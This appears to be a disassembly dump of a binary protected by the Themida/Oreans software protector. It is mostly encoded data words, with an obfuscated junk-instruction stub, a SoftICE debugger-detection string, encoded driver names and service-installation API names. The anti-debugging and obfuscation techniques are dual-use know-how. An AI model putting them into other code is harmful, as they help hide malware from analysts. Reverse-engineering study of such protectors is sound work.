		dd 12694240h, 49B581C9h, 0BD8C0A90h, 0D22F7E3Ch, 2E6A934Dh
		dd 79B6E3A9h, 0A0E561C6h, 0ED1CBFA2h, 22D60B4Ch, 0EC6DDA38h
		dd 9D32F249h, 0D5F12EC4h, 0D6497DE2h, 0C7315D71h, 6CBFF4C5h
		dd 28B6F4E5h, 7A811699h, 4CE43DC2h, 6E99DA63h, 6A933607h
		dd 8E94C124h, 0B02928B1h, 0EEB693EAh, 398E93B7h, 6EFB877Fh
		dd 669F6AE4h, 5BE8F5C2h, 8020DE7Fh, 0EA0A76E7h,	0CB2B1C05h
		dd 0C8A4FF2h, 7036A386h, 6D2BAA15h, 0A77A6DFAh,	99D2EA85h
		dd 93DD2540h, 0E4A257A3h, 484E8BFEh, 3523Dh, 0A7680000h
		dd 2C686E9Dh, 5B6196D9h, 575B81C0h, 404E8D34h, 7341BA25h
		dd 6E34A928h, 9B21D41Fh, 9519C100h, 8307CF76h, 1268F278h
		dd 89000031h, 0BF572424h, 4, 4247C01h, 1222685Fh, 34890000h
		db 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], edi
		push	ebx
		mov	ebx, 0C6E6439h
		shl	ebx, 4
		dec	ebx
		sub	ebx, 0C465296Eh
		inc	ebx
		shr	ebx, 2
		shl	ebx, 5
		and	ebx, 696D3AE8h
		sub	ebx, 75B179ACh
		add	ebx, 7B8E0D9Ch
		mov	esi, ebx
		pop	ebx
		push	7509h
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	edi
		sub	esp, 4
		mov	[esp], esi
		pop	dword ptr [edi+8]
		push	dword ptr [esp]
		pop	edi
		add	esp, 4
		mov	esi, [esp]
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		jmp	loc_4F5CCB
; ---------------------------------------------------------------------------
		db 34h,	8Ch, 0A4h
		dd 0EB5D0F17h, 0A84574CCh, 0B8601B50h, 5E4ABD3h, 0E0FFC503h
		dd 315EFAFCh, 231C07AAh, 35A8F205h, 2EF14E66h, 3618953Eh
		dd 14EECBF8h, 144EA180h, 389DA41Dh, 38657D0Dh, 406782C2h
		dd 55EADDE2h, 483ADA45h, 33A19E76h, 3B0C6BB0h, 18BD753Ch
		dd 3364CEA3h, 4C03C381h, 1CC1905h, 6B634Bh, 38CA704Ah
		dd 47BC28FFh, 67BBC6Ah,	593E596Eh, 1B70498Ah, 71E9h, 0BD836000h
		dd 5E22119h, 5840F00h, 0E9000000h, 5Ch,	3E80006Ah, 8850F30h
		dd 6A000000h, 35E94600h, 80000000h, 850F333Eh, 8, 0E946106Ah
		dd 24h,	0F343E80h, 885h, 46306A00h, 13E9h, 353E8000h, 8850Fh
		dd 406A0000h, 2E946h, 6A0000h, 1AB9858Dh, 509005E2h, 96509690h
		dd 95FF006Ah, 5E22A6Dh,	85C6C361h, 5E20A49h, 0D701684Dh
		dd 4812F93h, 0A19FA724h, 0DB5FF74h, 8D05E215h, 0E239ED85h
		dd 89D0FF05h, 0E22A6D85h, 0AAE905h, 6F530000h, 61777466h
		dd 575C6572h, 694C6E69h, 736E6563h, 68430065h, 496B6365h
		dd 7058004Eh, 45746F72h, 746978h, 63656843h, 54554F6Bh
		dd 6E695700h, 6563694Ch, 5665736Eh, 69737265h, 57006E6Fh
		dd 694C6E69h, 736E6563h, 69724465h, 56726576h, 69737265h
		dd 57006E6Fh, 694C6E69h, 736E6563h, 736E4965h, 636E6174h
		dd 78450065h, 6B4F7469h, 6F725000h, 4E4963h, 636F7250h
		dd 54554Fh, 74697845h, 45004E49h, 4F746978h, 54005455h
		dd 4E4970h, 3 dup(0)
		dd 77DDAF7Fh, 77DD72F0h, 596E9h, 1D858900h, 8D05E4AEh
		dd 0E4AE1985h, 858D5005h, 5E4AD83h, 16850h, 95FF8000h
		dd 5E4AE29h, 0B5FF196Ah, 5E4AE1Dh, 6A016Ah, 0ADB2858Dh
		dd 0FF5005E4h, 0E4AE19B5h, 0C595FF05h, 0FF05E208h, 0E4AE19B5h
		dd 2595FF05h, 0FF05E4AEh, 0E4AE19B5h, 0FD95FF05h, 0C305E20Bh
		dd 0AE1D8589h, 858D05E4h, 5E4AE19h, 83858D50h, 5005E4ADh
		dd 168h, 2995FF80h, 6A05E4AEh, 1D858D04h, 5005E4AEh, 6A046Ah
		dd 0ADDC858Dh, 0FF5005E4h, 0E4AE19B5h, 0C595FF05h, 0FF05E208h
		dd 0E4AE19B5h, 2595FF05h, 0FF05E4AEh, 0E4AE19B5h, 0FD95FF05h
		dd 0C305E20Bh, 0AE1D8589h, 858D05E4h, 5E4AE19h,	83858D50h
		dd 5005E4ADh, 168h, 2995FF80h, 6A05E4AEh, 1D858D04h, 5005E4AEh
		dd 6A046Ah, 0ADC4858Dh,	0FF5005E4h, 0E4AE19B5h,	0C595FF05h
		dd 0FF05E208h, 0E4AE19B5h, 2595FF05h, 0FF05E4AEh, 0E4AE19B5h
		dd 0FD95FF05h, 0C305E20Bh, 0AE1D8589h, 858D05E4h, 5E4AE19h
		dd 83858D50h, 5005E4ADh, 168h, 2995FF80h, 6A05E4AEh, 1D858D04h
		dd 5005E4AEh, 6A046Ah, 0ADEF858Dh, 0FF5005E4h, 0E4AE19B5h
		dd 0C595FF05h, 0FF05E208h, 0E4AE19B5h, 2595FF05h, 0FF05E4AEh
		dd 0E4AE19B5h, 0FD95FF05h, 0C305E20Bh, 0AE1D8589h, 858D05E4h
		dd 5E4AE19h, 83858D50h,	5005E4ADh, 168h, 2995FF80h, 6A05E4AEh
		dd 1D858D04h, 5005E4AEh, 6A046Ah, 0AD9F858Dh, 0FF5005E4h
		dd 0E4AE19B5h, 0C595FF05h, 0FF05E208h, 0E4AE19B5h, 2595FF05h
		dd 0FF05E4AEh, 0E4AE19B5h, 0FD95FF05h, 0C305E20Bh, 192DBD83h
		dd 0F0005E2h, 0B84h, 2D9D8B00h,	8305E219h, 3894CC3h, 2DBD83C3h
		dd 5E219h, 0B840Fh, 9D8B0000h, 5E2192Dh, 8950C383h, 0BD83C303h
		dd 5E2192Dh, 0B840F00h,	8B000000h, 0E2192D9Dh, 54C38305h
		dd 83C30389h, 0E2192DBDh, 840F0005h, 0Bh, 192D9D8Bh, 0C38305E2h
		dd 0C3038958h, 192DBD83h, 0F0005E2h, 0B84h, 2D9D8B00h
		dd 8305E219h, 3895CC3h,	8960C3C3h, 0E4AE1D85h, 19858D05h
		dd 5005E4AEh, 0AD83858Dh, 685005E4h, 80000001h,	0AE2995FFh
		dd 46A05E4h, 0AE1D858Dh, 6A5005E4h, 8D006A04h, 0E4AE1485h
		dd 0B5FF5005h, 5E4AE19h, 8C595FFh, 0BD8305E2h, 5E21EA9h
		dd 0C840F00h, 0FF000000h, 0E4AE19B5h, 2595FF05h, 0FF05E4AEh
		dd 0E4AE19B5h, 0FD95FF05h, 6105E20Bh, 858960C3h, 5E4AE1Dh
		dd 0AE19858Dh, 8D5005E4h, 0E4AD8385h, 1685005h,	0FF800000h
		dd 0E4AE2995h, 8D046A05h, 0E4AE1D85h, 46A5005h,	858D006Ah
		dd 5E4ADF6h, 19B5FF50h,	0FF05E4AEh, 0E208C595h,	0A9BD8305h
		dd 5E21Eh, 0C840Fh, 0B5FF0000h,	5E4AE19h, 0AE2595FFh, 0B5FF05E4h
		dd 5E4AE19h, 0BFD95FFh,	0C36105E2h, 1D858960h, 8D05E4AEh
		dd 0E4AE1985h, 858D5005h, 5E4AD83h, 16850h, 95FF8000h
		dd 5E4AE29h, 858D046Ah,	5E4AE1Dh, 6A046A50h, 0FD858D00h
		dd 5005E4ADh, 0AE19B5FFh, 95FF05E4h, 5E208C5h, 1EA9BD83h
		dd 0F0005E2h, 0C84h, 19B5FF00h,	0FF05E4AEh, 0E4AE2595h
		dd 19B5FF05h, 0FF05E4AEh, 0E20BFD95h, 60C36105h, 0AE1D8589h
		dd 858D05E4h, 5E4AE19h,	83858D50h, 5005E4ADh, 168h, 2995FF80h
		dd 6A05E4AEh, 1D858D04h, 5005E4AEh, 6A046Ah, 0AE05858Dh
		dd 0FF5005E4h, 0E4AE19B5h, 0C595FF05h, 8305E208h, 0E21EA9BDh
		dd 840F0005h, 0Ch, 0AE19B5FFh, 95FF05E4h, 5E4AE25h, 0AE19B5FFh
		dd 95FF05E4h, 5E20BFDh,	8960C361h, 0E4AE1D85h, 19858D05h
		dd 5005E4AEh, 0AD83858Dh, 685005E4h, 80000001h,	0AE2995FFh
		dd 46A05E4h, 0AE1D858Dh, 6A5005E4h, 8D006A04h, 0E4AE0C85h
		dd 0B5FF5005h, 5E4AE19h, 8C595FFh, 0BD8305E2h, 5E21EA9h
		dd 0C840F00h, 0FF000000h, 0E4AE19B5h, 2595FF05h, 0FF05E4AEh
		dd 0E4AE19B5h, 0FD95FF05h, 6105E20Bh, 85C760C3h, 5E4AE1Dh
		dd 1, 0AE19858Dh, 8D5005E4h, 0E4AD8385h, 2685005h, 0FF800000h
		dd 0E4AE2995h, 0FC00B05h, 0F84h, 1D85C700h, 5E4AEh, 0E9000000h
		dd 4Dh,	858D046Ah, 5E4AE1Dh, 6A046A50h,	97858D00h, 5005E4ADh
		dd 0AE19B5FFh, 95FF05E4h, 5E208C5h, 840FC00Bh, 0Fh, 0AE1D85C7h
		dd 5E4h, 0AE90000h, 0C7000000h,	0E4AE1D85h, 105h, 19B5FF00h
		dd 0FF05E4AEh, 0E20BFD95h, 858B6105h, 5E4AE1Dh,	858960C3h
		dd 5E4AE1Dh, 0AE19858Dh, 8D5005E4h, 0E4AD8385h,	1685005h
		dd 0FF800000h, 0E4AE2995h, 8D046A05h, 0E4AE1D85h, 46A5005h
		dd 858D006Ah, 5E4AD97h,	19B5FF50h, 0FF05E4AEh, 0E208C595h
		dd 0A9BD8305h, 5E21Eh, 0C840Fh,	0B5FF0000h, 5E4AE19h, 0AE2595FFh
		dd 0B5FF05E4h, 5E4AE19h, 0BFD95FFh, 0C36105E2h,	1D858960h
		dd 8D05E4AEh, 0E4AE1985h, 858D5005h, 5E4AD83h, 16850h
		dd 95FF8000h, 5E4AE29h,	858D046Ah, 5E4AE1Dh, 6A046A50h
		dd 0A9858D00h, 5005E4ADh, 0AE19B5FFh, 95FF05E4h, 5E208C5h
		dd 1EA9BD83h, 0F0005E2h, 0C84h,	19B5FF00h, 0FF05E4AEh
		dd 0E4AE2595h, 19B5FF05h, 0FF05E4AEh, 0E20BFD95h, 0C6C36105h
		dd 0E20A4985h, 7685205h, 0FFADE47Bh, 0E21189B5h, 1595FF05h
		dd 8905E22Ch, 0E4AE2985h, 4985C605h, 5205E20Ah,	2E00E568h
		dd 89B5FF90h, 0FF05E211h, 0E22C1595h, 25858905h, 0C605E4AEh
		dd 0E20A4985h, 35685205h, 0FFB9BF12h, 0E21189B5h, 1595FF05h
		dd 8905E22Ch, 0E208C585h, 4985C605h, 5205E20Ah,	78103468h
		dd 89B5FF98h, 0FF05E211h, 0E22C1595h, 0FD858905h, 0C605E20Bh
		dd 0E20A4985h, 0D4685205h, 0FFC005DBh, 0E21189B5h, 1595FF05h
		dd 8905E22Ch, 0E2046985h, 13E805h, 9FCD0000h, 0D8158E6Ah
		dd 3C666312h, 27110199h, 0FBEA64Ch, 5FEF8A7Ah, 2FBFBA66h
		dd 7012C781h, 0C8810000h, 2977C46Bh, 0B70FF62Bh, 3E34FFD0h
		dd 0E3BB6660h, 0A9C1BF29h, 5B617D3Dh, 1D88C381h, 816614A1h
		dd 81C246F2h, 7E0BDAC3h, 0AE970h, 96140000h, 0A628FD5Ch
		dd 0C1BD6682h, 31B6EB81h, 76B86CF7h, 89421C03h,	5951371Ch
		dd 0C8E0Fh, 8B0F0000h, 6, 8F0Fh, 0EE810000h, 175E7FB4h
		dd 81D08B66h, 5E7FB0C6h, 5E917h, 81D70000h, 810ACEF1h
		dd 0FF90A0FEh, 8A850FFFh, 0E9FFFFFFh, 10h, 44FBEB02h, 156C18E9h
		dd 315B180Eh, 0F4A49B4Eh, 5C5C1EEBh, 49535C2Eh,	5C004543h
		dd 535C2E5Ch, 49565749h
		db 44h,	0
a_Ntice		db '\\.\NTICE',0        ; DATA XREF: Themida_:004EE608o
					; Themida_:004EEE10o ...
		dd 8166C08Bh, 0B136AD9h, 0E20A91B5h, 0A9BD8305h, 5E21Eh
		dd 0BD830975h, 5E21805h, 50197400h, 0B8C08B53h,	40Fh, 315D8589h
		dd 9D8D05E2h, 5E4B2FAh,	585BD3FFh, 1805BD83h, 740005E2h
		dd 0B8535017h, 40Fh, 315D8589h,	9D8D05E2h, 5E4AFE9h, 585BD3FFh
		dd 0FFABF0Fh, 0C08BFABFh, 7E9h,	0E98EB600h, 120BB4F2h
		dd 0A4985C6h, 894305E2h, 0E20ABDBDh, 0D0D56805h, 4819BC2h
		dd 0CB9E2724h, 11B50920h, 8905E21Ch, 0E232D185h, 2DB5FF05h
		dd 8B05E226h, 0E21E35B5h, 0ED858D05h, 6A05E239h, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 1B042444h, 40000000h
		dd 0BE4C350h, 7E036562h, 0B58B216Bh, 5E21F05h, 6AD0FFh
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 1D0424h, 50400000h
		dd 62E3A0C3h, 0A6DE7A4Dh, 50424068h, 310F5250h,	585AF88Bh
		dd 66240489h, 0E60CE781h, 6AC88Ah, 0B1B52360h, 0F05E231h
		dd 686h, 35BD8900h, 6105E20Ch, 243C0868h, 0DE860E0h, 46000000h
		dd 6C39F45Fh, 0DD7B0844h, 405F3270h, 605AFA8Ah,	8D0FC78Bh
		dd 0
		dd 4816161h, 0DBC47824h, 52006A1Fh, 3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1704h, 0C3524200h, 0D8B4C977h, 31259523h
		dd 36A05E2h, 9589D18Bh,	5E20179h, 46B1006Ah, 8D89036Ah
		dd 5E21A8Dh, 2C6DBD29h,	4E805E2h, 0
		dd 0BFC00000h, 6A1A268Ah, 0FE950h, 0BCA60000h, 1F546308h
		dd 5601845Ah, 7F269DD8h, 24448B19h, 0DE804h, 70EA0000h
		dd 0A6CB3AF9h, 7D91F5B3h, 0E9178DF9h, 0Bh, 0F9CA4FE6h
		dd 0F132DA3Ch, 598485D9h, 0CE8008Bh, 0F7000000h, 731A4D82h
		dd 45B1E130h, 60814F83h, 70B96160h, 614767CBh, 2444895Ah
		dd 58C88A04h, 25D1B58Bh, 9D8D05E2h, 5E4B51Bh, 0F0E98166h
		dd 0E950932Ah, 0Ch, 0ED2EBF16h,	5EB3012Bh, 0C3A7876Fh
		dd 29D0FF93h, 0E2160585h, 4DB58B05h, 4005E231h,	243850Fh
		dd 81660000h, 58F8DAE7h, 2FB58D89h, 0E99005E2h,	10h, 5246F5B6h
		dd 2C1D19h, 669D98FEh, 0FD793CC6h, 0B58B9050h, 5E20B39h
		dd 8D8B006Ah, 5E232F1h,	0CF0D2E68h, 2434811Dh, 1DCF0DAEh
		dd 8354E981h, 36A1841h,	0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 16h, 4BC35747h, 0F78B4DD5h, 0B533006Ah, 5E21989h
		dd 0B509036Ah, 5E217CDh, 4E8h, 0
		dd 0BF6660C0h, 52507F6Bh, 310F5250h, 310F585Ah,	585A6160h
		dd 8B665061h, 24448BF2h, 8BD68B04h, 0FE8B6000h,	24448961h
		dd 0AE904h, 68710000h, 58CD9165h, 36B3F9EBh, 10810F58h
		dd 0E9000000h, 0Bh, 13AE6C9Bh, 1E889823h, 0F1066BFh, 9D8DF7BFh
		dd 5E4B524h, 50FFB70Fh,	87B2BDBEh, 241C8950h, 7D858960h
		dd 8B05E214h, 0D0FF61D1h, 40F9D680h, 14B850Fh, 0BE660000h
		dd 0F8583449h, 16FD9529h, 0E99005E2h, 8, 2C7E8AC3h, 3A07DADBh
		dd 8A0F9050h, 4, 72C1BE66h, 0BE8006Ah, 36000000h, 0A815DE1Bh
		dd 0F3F08240h, 8B66D274h, 4E85ECAh, 80000000h, 0BF000000h
		dd 5CB6D14Dh, 0F6B96650h, 24448BEBh, 6B8CBE04h,	8B04A7h
		dd 8830Fh, 8C0F0000h, 2, 4489F78Bh, 0C88B0424h,	258D8B58h
		dd 6A05E226h, 89006A03h, 0E20889BDh, 6A036A05h,	3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 1C042444h, 41000000h
		dd 38DFC351h, 66E2FD9Eh, 8BF6031Dh, 0E213A18Dh,	0F168F805h
		dd 0B69388C2h, 243481A2h, 5388C2F1h, 9D8DCA8Bh,	5E4B52Fh
		dd 0E8AFB966h, 0CE850h,	42090000h, 11CB6B38h, 41678D49h
		dd 0CE9ADF8h, 0FB000000h, 3F3F8BB0h, 9A63143h, 5FBE2763h
		dd 60241C89h, 0BE9h, 21D6AB00h,	0AFDA7364h, 8D4F3FDBh
		dd 30618D89h, 0FF6105E2h, 850F40D0h, 3Dh, 858BF960h, 5E22FADh
		dd 8E95861h, 0BE000000h, 293429E2h, 0E91CB1A6h,	148h, 95895760h
		dd 5E20141h, 0AE95Eh, 61BC0000h, 8A1EADBBh, 8AD3014Bh
		dd 0BD8B5361h, 5E23265h, 8AD88B5Ah, 0B3604BD4h,	0D185297Ch
		dd 6105E204h, 8D89F558h, 5E22D89h, 0A4985C6h, 6A4305E2h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 15042444h
		dd 47000000h, 52ECC357h, 0C1DB589h, 4E805E2h, 0A7000000h
		dd 0BEC0764Ah, 1F38AAEFh, 66525050h, 0F7FBBBAh,	61606031h
		dd 5A61D18Ah, 24448B58h, 0A4BA6604h, 66008BC4h,	896151BAh
		dd 66042444h, 58B83FB9h, 5E8h, 0AFCBA900h, 95890702h, 5E20B81h
		dd 0FDB50B5Fh, 0FF05E22Fh, 0E2262DB5h, 0D2B70F05h, 39ED858Dh
		dd 6E805E2h, 0F000000h,	22CB86D7h, 1DB5893Eh, 5905E201h
		dd 6AD0FFh, 3E850h, 58200000h, 448958C3h, 44810424h, 160424h
		dd 50400000h, 0FFA547C3h, 0AB59D89h, 50F805E2h,	1C89D78Bh
		dd 0C88B6624h, 8166D0FFh, 8DC419E2h, 0E272199Dh, 81BD8B05h
		dd 0B805E22Ah, 1, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
		dd 1Ch,	0A5C35040h, 153D0438h, 0EA26CE95h, 6A45BE66h, 958BE3FFh
		dd 5E20ADDh, 0B70FC18Bh, 8BC08BF3h, 0E20C918Dh,	6D8D8B05h
		dd 8305E20Ch, 0E21EA9BDh, 9750005h, 1805BD83h, 740005E2h
		dd 8B535019h, 40FB8C0h,	85890000h, 5E21DD5h, 0B3619D8Dh
		dd 0D3FF05E4h, 0BD83585Bh, 5E21805h, 50177400h,	40FB853h
		dd 85890000h, 5E21DD5h,	0B0029D8Dh, 0D3FF05E4h,	0B509585Bh
		dd 5E20C75h, 8BFB8B66h,	0CE8C0h, 23CF0000h, 79776B34h
		dd 0A6275BB6h, 9D29E7D7h, 5E231B1h, 81CB8A5Eh, 61F2C6h
		dd 9E900h, 14430000h, 29F122C4h, 68186079h, 0
		dd 0CE39B966h, 8529605Fh, 5E21CE9h, 26A4CA81h, 0FF612DE4h
		dd 52533734h, 1A01B531h, 5A5905E2h, 0DE958h, 2ABC0000h
		dd 0BFEF6F76h, 5A3E041h, 817A3705h, 0C5A64CF0h,	0C081F518h
		dd 37E2A73Ah, 814ED680h, 768720C0h, 0CABF0F3Ch,	2B3E0489h
		dd 0E21D6D8Dh, 831AB605h, 858903EFh, 5E20E31h, 0AE84Fh
		dd 8F20000h, 0E57777C9h, 38DBDA37h, 9E9h, 8832DB00h, 4A5F5C58h
		dd 815A5B5Bh, 0FF9EFCFFh, 1C850FFFh, 0F000000h,	31E9D6BFh
		dd 9000000h, 59C6FDDAh,	82FE842h, 0C3C8A27Ch, 7EC2D139h
		dd 81E55114h, 9D7D8FF2h, 0FF61E940h, 0C9F8FFFFh, 9A7F9187h
		dd 0FEAA87FCh, 0F7C78002h, 33C57F02h, 20EE9h, 61433300h
		dd 746F6E6Eh, 69727720h, 6F206574h, 6E616572h, 78762E73h
		dd 4D0D0A64h, 20656B61h, 65727573h, 61687420h, 68742074h
		dd 66207369h, 20656C69h, 6E207369h, 6220746Fh, 676E6965h
		dd 65737520h, 79622064h, 6F6E6120h, 72656874h, 6F727020h
		dd 6D617267h, 2Eh, 67h dup(0)
		dd 724F5C00h, 736E6165h, 6478762Eh, 2 dup(0)
		dd 0E9000000h, 0EFh, 0A4985C6h,	684705E2h, 0E3E45B86h
		dd 262DB5FFh, 858D05E2h, 5E239EDh, 468D0FFh, 8D000001h
		dd 0E21FFD9Dh, 0D0FF5305h, 32B58D50h, 8B05E4BEh, 0AEC032FEh
		dd 0FFF9850Fh, 0FE2BFFFFh, 8B58CF8Bh, 0F3F803FBh, 4985C6A4h
		dd 4305E20Ah, 8E6EFC68h, 2DB5FFBCh, 8D05E226h, 0E239ED85h
		dd 8DD0FF05h, 0E21FFDB5h, 68006A05h, 80h, 6A026Ah, 68006Ah
		dd 56C00000h, 0D88BD0FFh, 0A4985C6h, 685705E2h,	0A69BEE56h
		dd 262DB5FFh, 858D05E2h, 5E239EDh, 0BD8DD0FFh, 5E21C8Dh
		dd 0BF588D8Dh, 6A05E4h,	37D06857h, 53510000h, 0C085D0FFh
		dd 1B850Fh, 0B58D0000h,	5E4BC3Ah, 0ACE6858Dh, 0D0FF05E4h
		dd 72198D8Dh, 0B805E2h,	0FF000000h, 4985C6E1h, 4305E20Ah
		dd 764AA768h, 2DB5FFC0h, 8D05E226h, 0E239ED85h,	53D0FF05h
		dd 0B9C3D0FFh, 37D0h, 0E8h, 0C0835800h,	0E908890Eh, 2
		dd 0D0E9C38Bh, 4D000037h, 300905Ah, 4000000h, 0FF000000h
		dd 0B80000FFh, 0
		dd 40000000h, 8	dup(0)
		dd 0B0000000h, 0E000000h, 0EBA1Fh, 21CD09B4h, 0CD4C01B8h
		dd 69685421h, 72702073h, 6172676Fh, 6163206Dh, 746F6E6Eh
		dd 20656220h, 206E7572h, 44206E69h, 6D20534Fh, 2E65646Fh
		dd 240A0D0Dh, 0
		dd 5D000000h, 19DB1D17h, 2 dup(19887376h), 0E5887376h
		dd 18886156h, 19887376h, 18887376h, 52887376h, 19686369h
		dd 887376h, 0
		dd 4C000000h, 45h, 2000000h, 400h, 0
		dd 14000380h, 5	dup(0)
		dd 0C0000002h, 90000001h, 0
		dd 7E000000h, 0
		dd 0C4000000h, 1000000h, 0DC000000h, 3 dup(0)
		dd 2C000000h, 38000001h, 1, 0
		dd 42000000h, 96000001h, 0D2000001h, 1,	0D2000000h, 1
		dd 0
		dd 14000010h, 0C0000000h, 10000037h, 0Dh dup(0)
		dd 0C0040000h, 27h, 45000000h, 1000020h, 14000000h, 4C000000h
		dd 444F43h, 100h, 200h,	300h, 400h, 500h, 600h,	700h, 800h
		dd 900h, 0A00h,	0B00h, 0C00h, 0D00h, 0E00h, 0F00h, 1000h
		dd 1100h, 1200h, 1300h,	8001400h, 4F525058h, 44585654h
		dd 1000000h, 3000103h, 2 dup(0)
		dd 13h dup(700h), 3C00h, 18000700h, 27600100h, 1AD0007h
		dd 7005001h, 1019100h, 27279Bh,	276F0106h, 17D0179h, 1850181h
		dd 18D0189h, 1750007h, 7279501h, 1017100h, 72798h, 7101016Bh
		dd 27h,	360h dup(0)
		dd 1000004h, 58000000h,	544F5250h, 445856h, 800000h, 8 dup(0)
		dd 76000000h, 50507265h, 31000000h, 32527376h, 33527376h
		dd 527376h, 9C3h dup(0)
		dd 83000000h, 0F8831BE8h, 0FF077309h, 8524h, 0C3F80000h
		dd 9 dup(0)
		dd 33C3C033h, 7E83C3C0h, 475000Ch, 1AEBC033h, 10C7E83h
		dd 58D1475h, 0
		dd 89187E8Bh, 2046C707h, 4, 0CC3C033h, 4F525058h, 44585654h
		dd 4244445Fh, 0E9000000h, 99h, 6775622Fh, 63656863h, 2F00326Bh
		dd 63677562h, 6B636568h, 6F662F00h, 72656372h, 2F006E75h
		dd 63677562h, 6B636568h, 6C6C7566h, 68732F00h, 6F63776Fh
		dd 2F006564h, 776F6873h, 65646F63h, 632F0032h, 74726Ch
		dd 7369642Fh, 732F0031h, 69776F68h, 6174736Eh, 65636Eh
		dd 7465672Fh, 74736C77h, 73757461h, 6F6C2F00h, 61747367h
		dd 737574h, 6D75642Fh, 61747370h, 737574h, 0
aCheckprotectio	db '/checkprotection',0
		align 4
		dd 0ADBD8300h, 5E4F7h, 0A840Fh,	85C70000h, 5E21805h, 1
		dd 0A4985C6h, 684705E2h, 23913ECEh, 0BF240481h,	0FF6CDC2Dh
		dd 0E2262DB5h, 0ED858D05h, 0FF05E239h, 8BD0FFD0h, 223F80F8h
		dd 22850Fh, 0B0470000h,	850FAE22h, 0FFFFFFF9h, 0F003F80h
		dd 31884h, 3F804700h, 0E840F00h, 0E9000003h, 1Eh, 0F003F80h
		dd 30084h, 203F8000h, 6850Fh, 0E9470000h, 6, 0FFE2E947h
		dd 3F80FFFFh, 5850F00h,	0E9000000h, 2DDh, 1E9h,	3F804700h
		dd 0F6840F20h, 80FFFFFFh, 850F003Fh, 5,	2C0E9h,	0AE800h
		dd 0CBE90000h, 0E9FFFFFFh, 2B1h, 0F72DB58Dh, 25E805E4h
		dd 3000002h, 0E4F7C2BDh, 0C2BD8305h, 5E4F7h, 0B840Fh, 85C70000h
		dd 5E21EA9h, 1,	38B58DC3h, 0E805E4F7h, 1FCh, 0F7C2BD03h
		dd 0BD8305E4h, 5E4F7C2h, 0B840F00h, 0C7000000h,	0E2180585h
		dd 105h, 0B58DC300h, 5E4F7B1h, 1D3E8h, 0C2BD0300h, 8305E4F7h
		dd 0E4F7C2BDh, 840F0005h, 0Bh, 211985C7h, 105E2h, 8DC30000h
		dd 0E4F742B5h, 1AAE805h, 0BD030000h, 5E4F7C2h, 0F7C2BD83h
		dd 0F0005E4h, 0B84h, 585C700h, 105E218h, 0C3000000h, 0F74CB58Dh
		dd 81E805E4h, 3000001h,	0E4F7C2BDh, 0C2BD8305h,	5E4F7h
		dd 15840Fh, 85C70000h, 5E21805h, 1, 1EA985C7h, 105E2h
		dd 8DC30000h, 0E4F75AB5h, 14EE805h, 0BD030000h,	5E4F7C2h
		dd 0F7C2BD83h, 0F0005E4h, 0A84h, 8585C700h, 105E206h, 8D000000h
		dd 0E4F764B5h, 126E805h, 0BD030000h, 5E4F7C2h, 0F7C2BD83h
		dd 0F0005E4h, 0A84h, 8585C700h,	105E206h, 8D000000h, 0E4F76FB5h
		dd 0FEE805h, 0BD030000h, 5E4F7C2h, 0F7C2BD83h, 0F0005E4h
		dd 0A84h, 4185C700h, 105E224h, 8D000000h, 0E4F775B5h, 0D6E805h
		dd 0BD030000h, 5E4F7C2h, 0F7C2BD83h, 0F0005E4h,	0A84h
		dd 7585C700h, 105E210h,	8D000000h, 0E4F77BB5h, 0AEE805h
		dd 0BD030000h, 5E4F7C2h, 0F7C2BD83h, 0F0005E4h,	0A84h
		dd 3D85C700h, 105E21Dh,	8D000000h, 0E4F789B5h, 86E805h
		dd 0BD030000h, 5E4F7C2h, 0F7C2BD83h, 0F0005E4h,	0A84h
		dd 0B985C700h, 105E216h, 8D000000h, 0E4F796B5h,	5EE805h
		dd 0BD030000h, 5E4F7C2h, 0F7C2BD83h, 0F0005E4h,	0A84h
		dd 1D85C700h, 105E225h,	8D000000h, 0E4F7A1B5h, 36E805h
		dd 0BD030000h, 5E4F7C2h, 0F7C2BD83h, 0F0005E4h,	0A84h
		dd 5D85C700h, 105E201h,	0E9000000h, 1, 203F8047h, 9840Fh
		dd 3F800000h, 0ED850F00h, 0C3FFFFFFh, 1B960h, 0DE8B0000h
		dd 19E9h, 3F8000h, 2850Fh, 0C92B0000h, 1638178Ah, 2840Fh
		dd 0C92B0000h, 3E804746h, 8840F00h, 0B000000h, 0D6850FC9h
		dd 0BFFFFFFh, 21840FC9h, 80000000h, 840F003Fh, 9, 0F203F80h
		dd 0A85h, 1B900h, 5E90000h, 0B9000000h,	0
		dd 840FC90Bh, 0Dh, 0B589F32Bh, 5E4F7C2h, 0AE9h,	0C285C700h
		dd 5E4F7h, 61000000h, 0E9C88BC3h, 10A9h, 41564441h, 32334950h
		dd 4C4C442Eh, 65704F00h, 4D43536Eh, 67616E61h, 417265h
		dd 61657243h, 65536574h, 63697672h, 53004165h, 74726174h
		dd 76726553h, 41656369h, 74654700h, 6974614Eh, 79536576h
		dd 6D657473h, 6F666E49h, 65704F00h, 7265536Eh, 65636976h
		dd 65440041h, 6574656Ch, 76726553h, 656369h, 736F6C43h
		dd 72655365h, 65636976h, 646E6148h, 4300656Ch, 72746E6Fh
		dd 65536C6Fh, 63697672h, 65h, 7	dup(0)
		dd 726F0000h, 736E6165h, 732E3233h, 7379h, 0
		dd 6F000000h, 6E616572h, 34367873h, 7379732Eh, 2 dup(0)
		dd 65726F00h, 33736E61h, 5C5C0032h, 726F5C2Eh, 736E6165h
		dd 5C003233h, 475C2E5Ch, 61626F6Ch, 726F5C6Ch, 736E6165h
		dd 6F003233h, 6E616572h, 34367873h, 2E5C5C00h, 6F6C475Ch
		dd 5C6C6162h, 6165726Fh, 3678736Eh, 34h, 41h dup(0)
		dd 59530000h, 4D455453h, 544F4F52h, 5C732500h, 74737973h
		dd 32336D65h, 6972645Ch, 73726576h, 73255Ch, 735C7325h
		dd 6F777379h, 5C343677h, 76697264h, 5C737265h, 25007325h
		dd 79735C73h, 6D657473h, 645C3233h, 65766972h, 6F5C7372h
